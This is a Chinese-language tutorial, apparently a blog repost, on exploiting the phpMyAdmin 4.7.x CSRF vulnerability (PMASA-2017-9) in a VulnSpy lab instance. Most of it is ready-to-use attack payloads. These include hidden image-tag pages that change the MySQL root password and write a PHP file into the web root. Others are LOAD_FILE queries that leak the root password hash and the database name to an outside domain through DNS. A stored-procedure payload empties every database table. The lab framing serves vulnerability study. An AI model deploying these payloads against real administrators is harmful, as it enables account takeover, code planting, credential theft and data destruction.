您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關怎樣進行phpMyAdmin 4.7.x CSRF 漏洞利用,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
phpMyAdmin是個知名MySQL/MariaDB在線管理工具,phpMyAdmin團隊在4.7.7版本中修復了一個危害嚴重的CSRF漏洞(PMASA-2017-9),攻擊者可以通過誘導管理員訪問惡意頁面,悄無聲息地執行任意SQL語句。
我們將結合VulnSpy的在線phpMyAdmin環境來熟悉該漏洞的利用。
注:重啟演示靶機即可重置靶機
點擊 VulnSpy 提供的創建靶機地址(https://www.vsplate.com/?github=vulnspy/PMASA-2017-9)
跳轉到 VSPlate 后,直接點擊GO
按鈕,便會自動創建一個 phpMyAdmin 環境
打開演示地址
的鏈接,我們的 phpMyAdmin 就創建完成了。
使用帳號 root
,密碼 toor
,登錄 phpMyAdmin 。根據頁面信息,我們可以發現當前 phpMyAdmin 的版本為 4.7.6,剛好匹配存在漏洞的 phpMyAdmin 版本。
我們知道,如果要利用CSRF來刪除或修改數據庫內容,通查情況下需要提前知道數據庫名、表名和字段名。這樣利用顯得有點復雜,成功率也有限,因此本文我們將介紹幾種較為通用的利用方式。
在MySQL中支持使用SQL語句來修改當前用戶密碼。比如將當前用戶密碼修改為[www.vulnspy.com](http://www.vulnspy.com)
,對應的SQL語句為:
SET passsword=PASSWORD('www.vulnspy.com');
2.1 模擬管理員登錄phpMyAdmin的狀態。
用帳號 root 密碼 toor 登錄 phpMyAdmin 。
2.2 創建含有惡意代碼的頁面。
文件名 2.payload.html (將下面的域名換成自己的靶機域名)
<p>Hello World</p> <img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password%20=%20PASSWORD(%27www.vulnspy.com%27)" hljs-string">" />
2.3 用瀏覽器打開含有惡意代碼的文件 2.payload.html
回到上一步打開的phpMyAdmin頁面,發現已自動退出,而且用原來的密碼 toor 已經無法登錄。
2.4 使用密碼 www.vulnspy.com 登錄成功,表明利用成功
MySQL支持將查詢結果寫到文件當中,我們可以利用該特性來寫入PHP文件。比如將代碼<?php phpinfo();?>
寫到文件/var/www/html/test.php
中,對應的SQL語句為:
select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';
3.1 將上一個演示步驟相同,只需將2.2中的文件代碼改成:
<p>Hello World</p><img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" />
3.2 用瀏覽器打開含有惡意代碼的文件
3.3 訪問 test.php
可見文件已經寫入成功。
MySQL提供了load_file()
函數來支持讀取文件內容的操作。比如讀取文件/etc/passwd
內容,,對應的SQL語句為:
select load_file('/etc/passwd');
但是對于CSRF漏洞來說,該讀取操作實在目標用戶端執行的,我們依然無法知道文件讀取的結果。而load_file()
在Windows下支持從網絡共享文件夾中讀取文件,如\\192.168.1.100\share\vulnspy.txt
。網絡共享文件的地址處不僅可以填寫IP還可以填寫域名,我們可以通過DNS解析來獲取查詢的數據。
此處需要用到 DNSLOG 之類的工具:https://github.com/BugScanTeam/DNSLog, 這類工具可以記錄域名的 DNS 解析記錄
比如通過DNS解析來獲取當前 MySQL root 用戶密碼,對應的SQL語句為:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.vulnspy.com\\test'));
獲取當前數據庫名:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.vulnspy.com\\test'));
如果請求成功,查詢結果將作為二級域名的一部分出現在我們的 DNS 解析記錄當中。
該環境暫無法演示
如果上面幾種利用方式都無法直接造成直接的影響,我們可以利用SQL語句來清空當前MySQL用戶可操作的所有數據表。
我們用命令
SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1
來獲取數據名和表名,并將其拼接成刪除語句(如:DELETE FROM vulnspy_tables.inv
),通過 execute
來執行生成的刪除語句:
set @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1);prepare stmt from @del;execute stmt;
但是 execute 一次只能執行一條SQL語句,因此我們可以利用循環語句來逐一執行:
DROP PROCEDURE IF EXISTS EMPT;DELIMITER $$ CREATE PROCEDURE EMPT() BEGIN DECLARE i INT; SET i = 0; WHILE i < 100 DO SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1); PREPARE STMT FROM @del; EXECUTE STMT; SET i = i +1; END WHILE; END $$ DELIMITER ; CALL EMPT();
5.1 Payload如下
<p>Hello World</p> <img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A" hljs-string">" />
5.2 用瀏覽器打開含有惡意代碼的文件
5.3 回到 phpMyAdmin 中查看數據
可以發現數據庫vulnspy_tables
和數據庫vulnspy_test
中的數據已經被清空。
這個 phpMyAdmin 的 CSRF 漏洞利用有點類似 SQL 盲注的利用,但是對于漏洞觸發的時間不可控(即不知道管理員何時會訪問含有惡意代碼的頁面),因此需要更加通用的利用方式。通過該實驗,不僅了解該漏洞的內容,還可以更加熟悉CSRF漏洞的利用。
關于怎樣進行phpMyAdmin 4.7.x CSRF 漏洞利用就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。